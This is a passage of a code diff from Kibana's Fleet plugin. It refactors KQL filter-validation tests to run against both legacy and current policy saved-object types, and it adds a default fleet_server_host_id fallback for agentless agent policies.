AGENT_POLICY_MAPPINGS, - storeValue: true, - }); - - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.data_output_id', - type: 'ingest-agent-policies', - }, - { - astPath: 'arguments.1', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.monitoring_output_id', - type: 'ingest-agent-policies', - }, - { - astPath: 'arguments.2.arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.data_output_id', - type: 'ingest-agent-policies', - }, - ]); - }); - - it('Returns error if the attribute does not exist', async () => { - const astFilter = esKuery.fromKueryExpression( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.package_policies:test_id_1 or ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.package_policies:test_id_2` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - indexMapping: AGENT_POLICY_MAPPINGS, - storeValue: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: - "This key 'ingest-agent-policies.package_policies' does NOT exist in ingest-agent-policies saved object index patterns", - isSavedObjectAttr: false, - key: 'ingest-agent-policies.package_policies', - type: 'ingest-agent-policies', - }, - { - astPath: 'arguments.1', - error: - "This key 'ingest-agent-policies.package_policies' does NOT exist in ingest-agent-policies saved object index patterns", - isSavedObjectAttr: false, - key: 'ingest-agent-policies.package_policies', - type: 'ingest-agent-policies', - }, - ]); - }); + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Search by data_output_id', + async (agentPolicyType) => { + const astFilter = esKuery.fromKueryExpression(`${agentPolicyType}.data_output_id: test_id`); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [agentPolicyType], + indexMapping: AGENT_POLICY_MAPPINGS, + storeValue: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.data_output_id`, + type: agentPolicyType, + }, + ]); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Search by inactivity timeout', + async (agentPolicyType) => { + const astFilter = esKuery.fromKueryExpression(`${agentPolicyType}.inactivity_timeout:*`); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [agentPolicyType], + indexMapping: AGENT_POLICY_MAPPINGS, + storeValue: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.inactivity_timeout`, + type: agentPolicyType, + }, + ]); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Complex query', + async (agentPolicyType) => { + const validationObject = validateFilterKueryNode({ + astFilter: esKuery.fromKueryExpression( + `${agentPolicyType}.download_source_id:some_id or (not ${agentPolicyType}.download_source_id:*)` + ), + types: [agentPolicyType], + indexMapping: AGENT_POLICY_MAPPINGS, + storeValue: true, + }); + + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.download_source_id`, + type: agentPolicyType, + }, + { + astPath: 'arguments.1.arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.download_source_id`, + type: agentPolicyType, + }, + ]); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Test another complex query', + async (agentPolicyType) => { + const astFilter = esKuery.fromKueryExpression( + `${agentPolicyType}.data_output_id: test_id or ${agentPolicyType}.monitoring_output_id: test_id or (not ${agentPolicyType}.data_output_id:*)` + ); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [agentPolicyType], + indexMapping: AGENT_POLICY_MAPPINGS, + storeValue: true, + }); + + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.data_output_id`, + type: agentPolicyType, + }, + { + astPath: 'arguments.1', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.monitoring_output_id`, + type: agentPolicyType, + }, + { + astPath: 'arguments.2.arguments.0', + error: null, + isSavedObjectAttr: true, + key: `${agentPolicyType}.data_output_id`, + type: agentPolicyType, + }, + ]); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Returns error if the attribute does not exist', + async (agentPolicyType) => { + const astFilter = esKuery.fromKueryExpression( + `${agentPolicyType}.package_policies:test_id_1 or ${agentPolicyType}.package_policies:test_id_2` + ); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [agentPolicyType], + indexMapping: AGENT_POLICY_MAPPINGS, + storeValue: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: `This key '${agentPolicyType}.package_policies' does NOT exist in ${agentPolicyType} saved object index patterns`, + isSavedObjectAttr: false, + key: `${agentPolicyType}.package_policies`, + type: agentPolicyType, + }, + { + astPath: 'arguments.1', + error: `This key '${agentPolicyType}.package_policies' does NOT exist in ${agentPolicyType} saved object index patterns`, + isSavedObjectAttr: false, + key: `${agentPolicyType}.package_policies`, + type: agentPolicyType, + }, + ]); + } + ); }); describe('Package policies', () => { - it('Search by package name', async () => { - const astFilter = esKuery.fromKueryExpression( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.attributes.package.name:packageName` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - indexMapping: PACKAGE_POLICIES_MAPPINGS, - storeValue: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: false, - key: 'ingest-package-policies.attributes.package.name', - type: 'ingest-package-policies', - }, - ]); - }); - - it('It fails if the kuery is not normalized', async () => { - const astFilter = esKuery.fromKueryExpression( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:packageName` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - indexMapping: PACKAGE_POLICIES_MAPPINGS, - storeValue: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: - "This key 'ingest-package-policies.package.name' does NOT match the filter proposition SavedObjectType.attributes.key", - isSavedObjectAttr: false, - key: 'ingest-package-policies.package.name', - type: 'ingest-package-policies', - }, - ]); - }); - - it('It does not check attributes if skipNormalization is passed', async () => { - const astFilter = esKuery.fromKueryExpression( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:packageName` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - indexMapping: PACKAGE_POLICIES_MAPPINGS, - storeValue: true, - skipNormalization: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: false, - key: 'ingest-package-policies.package.name', - type: 'ingest-package-policies', - }, - ]); - }); - - it('Allows passing query without SO', async () => { - const astFilter = esKuery.fromKueryExpression(`package.name:packageName`); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - indexMapping: PACKAGE_POLICIES_MAPPINGS, - storeValue: true, - skipNormalization: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'package.name', - type: 'package', - }, - ]); - }); + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Search by package name', + async (packagePolicyType) => { + const astFilter = esKuery.fromKueryExpression( + `${packagePolicyType}.attributes.package.name:packageName` + ); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [packagePolicyType], + indexMapping: PACKAGE_POLICIES_MAPPINGS, + storeValue: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: false, + key: `${packagePolicyType}.attributes.package.name`, + type: packagePolicyType, + }, + ]); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'It fails if the kuery is not normalized', + async (packagePolicyType) => { + const astFilter = esKuery.fromKueryExpression( + `${packagePolicyType}.package.name:packageName` + ); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [packagePolicyType], + indexMapping: PACKAGE_POLICIES_MAPPINGS, + storeValue: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: `This key '${packagePolicyType}.package.name' does NOT match the filter proposition SavedObjectType.attributes.key`, + isSavedObjectAttr: false, + key: `${packagePolicyType}.package.name`, + type: packagePolicyType, + }, + ]); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'It does not check attributes if skipNormalization is passed', + async (packagePolicyType) => { + const astFilter = esKuery.fromKueryExpression( + `${packagePolicyType}.package.name:packageName` + ); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [packagePolicyType], + indexMapping: PACKAGE_POLICIES_MAPPINGS, + storeValue: true, + skipNormalization: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: false, + key: `${packagePolicyType}.package.name`, + type: packagePolicyType, + }, + ]); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Allows passing query without SO', + async (packagePolicyType) => { + const astFilter = esKuery.fromKueryExpression(`package.name:packageName`); + const validationObject = validateFilterKueryNode({ + astFilter, + types: [packagePolicyType], + indexMapping: PACKAGE_POLICIES_MAPPINGS, + storeValue: true, + skipNormalization: true, + }); + expect(validationObject).toEqual([ + { + astPath: 'arguments.0', + error: null, + isSavedObjectAttr: true, + key: 'package.name', + type: 'package', + }, + ]); + } + ); }); describe('Agents', () => { @@ -510,61 +532,76 @@ describe('ValidateFilterKueryNode validates real kueries through KueryNode', () describe('validateKuery validates real kueries', () => { describe('Agent policies', () => { - it('Search by data_output_id', async () => { - const validationObj = validateKuery( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id: test_id`, - [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - AGENT_POLICY_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Search by data_output_id without SO wrapping', async () => { - const validationObj = validateKuery( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id: test_id`, - [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - AGENT_POLICY_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Search by name', async () => { - const validationObj = validateKuery( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.name: test_id`, - [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - AGENT_POLICY_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Kuery with non existent parameter wrapped by SO', async () => { - const validationObj = validateKuery( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.non_existent_parameter: 'test_id'`, - [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - AGENT_POLICY_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(false); - expect(validationObj?.error).toContain( - `KQLSyntaxError: This key 'ingest-agent-policies.non_existent_parameter' does NOT exist in ingest-agent-policies saved object index patterns` - ); - }); - - it('Invalid search by non existent parameter', async () => { - const validationObj = validateKuery( - `non_existent_parameter: 'test_id'`, - [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - AGENT_POLICY_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(false); - expect(validationObj?.error).toContain( - `KQLSyntaxError: This type 'non_existent_parameter' is not allowed` - ); - }); + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Search by data_output_id', + async (agentPolicyType) => { + const validationObj = validateKuery( + `${agentPolicyType}.data_output_id: test_id`, + [agentPolicyType], + AGENT_POLICY_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Search by data_output_id without SO wrapping', + async (agentPolicyType) => { + const validationObj = validateKuery( + `${agentPolicyType}.data_output_id: test_id`, + [agentPolicyType], + AGENT_POLICY_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Search by name', + async (agentPolicyType) => { + const validationObj = validateKuery( + `${agentPolicyType}.name: test_id`, + [agentPolicyType], + AGENT_POLICY_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Kuery with non existent parameter wrapped by SO', + async (agentPolicyType) => { + const validationObj = validateKuery( + `${agentPolicyType}.non_existent_parameter: 'test_id'`, + [agentPolicyType], + AGENT_POLICY_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(false); + expect(validationObj?.error).toContain( + `KQLSyntaxError: This key '${agentPolicyType}.non_existent_parameter' does NOT exist in ${agentPolicyType} saved object index patterns` + ); + } + ); + + test.each([LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE])( + 'Invalid search by non existent parameter', + async (agentPolicyType) => { + const validationObj = validateKuery( + `non_existent_parameter: 'test_id'`, + [agentPolicyType], + AGENT_POLICY_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(false); + expect(validationObj?.error).toContain( + `KQLSyntaxError: This type 'non_existent_parameter' is not allowed` + ); + } + ); }); describe('Agents', () => { @@ -713,82 +750,103 @@ describe('validateKuery validates real kueries', () => { }); describe('Package policies', () => { - it('Search by package name without SO', async () => { - const validationObj = validateKuery( - `package.name:fleet_server`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Search by package name', async () => { - const validationObj = validateKuery( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:fleet_server`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Search by package name works with attributes if skipNormalization is not passed', async () => { - const validationObj = validateKuery( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.attributes.package.name:packageName`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Search by name and version', async () => { - const validationObj = validateKuery( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: "TestName" AND ${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.version: "8.8.0"`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(true); - }); - - it('Invalid search by nested wrong parameter', async () => { - const validationObj = validateKuery( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.is_managed:packageName`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(false); - expect(validationObj?.error).toEqual( - `KQLSyntaxError: This key 'ingest-package-policies.package.is_managed' does NOT exist in ingest-package-policies saved object index patterns` - ); - }); - - it('invalid search by nested wrong parameter - without wrapped SO', async () => { - const validationObj = validateKuery( - `package.is_managed:packageName`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS, - true - ); - expect(validationObj?.isValid).toEqual(false); - expect(validationObj?.error).toEqual( - `KQLSyntaxError: This key 'package.is_managed' does NOT exist in ingest-package-policies saved object index patterns` - ); - }); - - it('Invalid search by non existent parameter', async () => { - const validationObj = validateKuery( - `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.non_existent_parameter:packageName`, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], - PACKAGE_POLICIES_MAPPINGS - ); - expect(validationObj?.isValid).toEqual(false); - expect(validationObj?.error).toEqual( - `KQLSyntaxError: This key 'ingest-package-policies.non_existent_parameter' does NOT exist in ingest-package-policies saved object index patterns` - ); - }); + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Search by package name without SO', + async (packagePolicyType) => { + const validationObj = validateKuery( + `package.name:fleet_server`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Search by package name', + async (packagePolicyType) => { + const validationObj = validateKuery( + `${packagePolicyType}.package.name:fleet_server`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Search by package name works with attributes if skipNormalization is not passed', + async (packagePolicyType) => { + const validationObj = validateKuery( + `${packagePolicyType}.attributes.package.name:packageName`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Search by name and version', + async (packagePolicyType) => { + const validationObj = validateKuery( + `${packagePolicyType}.package.name: "TestName" AND ${packagePolicyType}.package.version: "8.8.0"`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(true); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Invalid search by nested wrong parameter', + async (packagePolicyType) => { + const validationObj = validateKuery( + `${packagePolicyType}.package.is_managed:packageName`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(false); + expect(validationObj?.error).toEqual( + `KQLSyntaxError: This key '${packagePolicyType}.package.is_managed' does NOT exist in ${packagePolicyType} saved object index patterns` + ); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'invalid search by nested wrong parameter - without wrapped SO', + async (packagePolicyType) => { + const validationObj = validateKuery( + `package.is_managed:packageName`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS, + true + ); + expect(validationObj?.isValid).toEqual(false); + expect(validationObj?.error).toEqual( + `KQLSyntaxError: This key 'package.is_managed' does NOT exist in ${packagePolicyType} saved object index patterns` + ); + } + ); + + test.each([LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE])( + 'Invalid search by non existent parameter', + async (packagePolicyType) => { + const validationObj = validateKuery( + `${packagePolicyType}.non_existent_parameter:packageName`, + [packagePolicyType], + PACKAGE_POLICIES_MAPPINGS + ); + expect(validationObj?.isValid).toEqual(false); + expect(validationObj?.error).toEqual( + `KQLSyntaxError: This key '${packagePolicyType}.non_existent_parameter' does NOT exist in ${packagePolicyType} saved object index patterns` + ); + } + ); }); describe('Enrollment keys', () => { diff --git a/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/security_solution/to_v8_14_0.test.ts b/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/security_solution/to_v8_14_0.test.ts index 73f69c935d5a0..77361ecc978d8 100644 --- a/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/security_solution/to_v8_14_0.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/security_solution/to_v8_14_0.test.ts @@ -15,7 +15,7 @@ import { cloneDeep } from 'lodash'; import type { SavedObject } from '@kbn/core-saved-objects-server'; import type { PackagePolicy } from '../../../../common'; -import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; +import { LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; import { getSavedObjectTypes } from '../..'; const policyDoc: SavedObject = { @@ -72,7 +72,7 @@ const policyDoc: SavedObject = { }, ], }, - type: PACKAGE_POLICY_SAVED_OBJECT_TYPE, + type: LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, references: [], }; @@ -81,7 +81,7 @@ describe('8.14.0 Endpoint Package Policy migration', () => { beforeEach(() => { migrator = createModelVersionTestMigrator({ - type: getSavedObjectTypes()[PACKAGE_POLICY_SAVED_OBJECT_TYPE], + type: getSavedObjectTypes()[LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE], }); }); diff --git a/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/to_v8_15_0.test.ts b/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/to_v8_15_0.test.ts index a6da2201d9669..c5fda8883448f 100644 --- a/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/to_v8_15_0.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/saved_objects/migrations/to_v8_15_0.test.ts @@ -13,7 +13,7 @@ import { import type { SavedObject } from '@kbn/core-saved-objects-server'; import type { PackagePolicy } from '../../../common'; -import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../common'; +import { LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../common'; import { getSavedObjectTypes } from '..'; const getPolicyDoc = (packageName: string): SavedObject => { @@ -38,7 +38,7 @@ const getPolicyDoc = (packageName: string): SavedObject => { created_by: '', inputs: [], }, - type: PACKAGE_POLICY_SAVED_OBJECT_TYPE, + type: LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, references: [], }; }; @@ -48,7 +48,7 @@ describe('8.15.0 Requires Root Package Policy migration', () => { beforeEach(() => { migrator = createModelVersionTestMigrator({ - type: getSavedObjectTypes()[PACKAGE_POLICY_SAVED_OBJECT_TYPE], + type: getSavedObjectTypes()[LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE], }); }); diff --git a/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v10_on_write_scan_fix.test.ts b/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v10_on_write_scan_fix.test.ts index d925e51ea7401..8408aeb6b4ed6 100644 --- a/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v10_on_write_scan_fix.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v10_on_write_scan_fix.test.ts @@ -12,7 +12,7 @@ import { createModelVersionTestMigrator } from '@kbn/core-test-helpers-model-ver import { getSavedObjectTypes } from '../..'; import type { PackagePolicy } from '../../../../common'; -import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; +import { LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; describe('backfill for modelVersion 10 - fix on_write_scan field', () => { let migrator: ModelVersionTestMigrator; @@ -20,7 +20,7 @@ describe('backfill for modelVersion 10 - fix on_write_scan field', () => { beforeEach(() => { migrator = createModelVersionTestMigrator({ - type: getSavedObjectTypes()[PACKAGE_POLICY_SAVED_OBJECT_TYPE], + type: getSavedObjectTypes()[LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE], }); policyConfigSO = { @@ -74,7 +74,7 @@ describe('backfill for modelVersion 10 - fix on_write_scan field', () => { }, ], }, - type: PACKAGE_POLICY_SAVED_OBJECT_TYPE, + type: LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, references: [], }; }); diff --git a/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v13_advanced_package_policy_fields.test.ts b/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v13_advanced_package_policy_fields.test.ts index 35eaf5bcd7f3b..d5824f11a6d2c 100644 --- a/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v13_advanced_package_policy_fields.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/saved_objects/model_versions/security_solution/v13_advanced_package_policy_fields.test.ts @@ -14,7 +14,7 @@ import { cloneDeep } from 'lodash'; import type { PackagePolicy } from '../../../../common'; -import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; +import { LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '../../../../common'; import { getSavedObjectTypes } from '../..'; const policyDoc: SavedObject = { @@ -71,7 +71,7 @@ const policyDoc: SavedObject = { }, ], }, - type: PACKAGE_POLICY_SAVED_OBJECT_TYPE, + type: LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, references: [], }; @@ -80,7 +80,7 @@ describe('8.15.0 Endpoint Package Policy migration', () => { beforeEach(() => { migrator = createModelVersionTestMigrator({ - type: getSavedObjectTypes()[PACKAGE_POLICY_SAVED_OBJECT_TYPE], + type: getSavedObjectTypes()[LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE], }); }); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.test.ts index f7bd5ecf8e355..8ca7af0a29edc 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.test.ts @@ -405,6 +405,7 @@ describe('Agent policy', () => { updated_by: 'system', schema_version: '1.1.1', is_protected: false, + fleet_server_host_id: 'default-fleet-server', }); }); @@ -441,6 +442,46 @@ describe('Agent policy', () => { updated_by: 'system', schema_version: '1.1.1', is_protected: false, + fleet_server_host_id: 'fleet-default-fleet-server-host', + }); + }); + + it('should create an agentless policy with a fallback fleet_server_host_id if not provided', async () => { + jest + .spyOn(appContextService, 'getConfig') + .mockReturnValue({ agentless: { enabled: true } } as any); + jest + .spyOn(appContextService, 'getCloud') + .mockReturnValue({ isServerlessEnabled: true } as any); + + const soClient = getAgentPolicyCreateMock(); + const esClient = elasticsearchServiceMock.createClusterClient().asInternalUser; + + soClient.find.mockResolvedValueOnce({ + total: 0, + saved_objects: [], + per_page: 0, + page: 1, + }); + + const res = await agentPolicyService.create(soClient, esClient, { + name: 'test', + namespace: 'default', + supports_agentless: true, + }); + expect(res).toEqual({ + id: 'mocked', + name: 'test', + namespace: 'default', + supports_agentless: true, + status: 'active', + is_managed: false, + revision: 1, + updated_at: expect.anything(), + updated_by: 'system', + schema_version: '1.1.1', + is_protected: false, + fleet_server_host_id: 'default-fleet-server', }); }); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.ts b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.ts index f82d058f7a3e1..2473db96d9073 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy.ts @@ -448,6 +448,11 @@ class AgentPolicyService { this.checkAgentless(agentPolicy); + if (agentPolicy.supports_agentless && !agentPolicy.fleet_server_host_id) { + const { fleetServerId } = agentlessAgentService.getDefaultSettings(); + agentPolicy.fleet_server_host_id = fleetServerId; + } + await this.requireUniqueName(soClient, agentPolicy); await validatePolicyNamespaceForSpace({ spaceId: soClient.getCurrentNamespace(), diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy_create.ts b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy_create.ts index 2d92113e6a981..07f93852356ae 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agent_policy_create.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agent_policy_create.ts @@ -90,6 +90,9 @@ async function createPackagePolicy( newPackagePolicy.policy_id = agentPolicy.id; newPackagePolicy.policy_ids = [agentPolicy.id]; newPackagePolicy.name = await incrementPackageName(soClient, packageToInstall); + if (agentPolicy.supports_agentless) { + newPackagePolicy.supports_agentless = agentPolicy.supports_agentless; + } await packagePolicyService.create(soClient, esClient, newPackagePolicy, { spaceId: options.spaceId, diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.test.ts index bdc1e05103bf0..e6b52a2843827 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.test.ts @@ -27,6 +27,15 @@ jest.mock('.', () => ({ }, })); +jest.mock('./agents/agentless_agent', () => ({ + agentlessAgentService: { + getDefaultSettings: jest.fn().mockReturnValue({ + outputId: 'es-default-output', + fleetServerId: 'default-fleet-server', + }), + }, +})); + jest.mock('./agent_policy', () => ({ agentPolicyService: { find: jest.fn(), diff --git 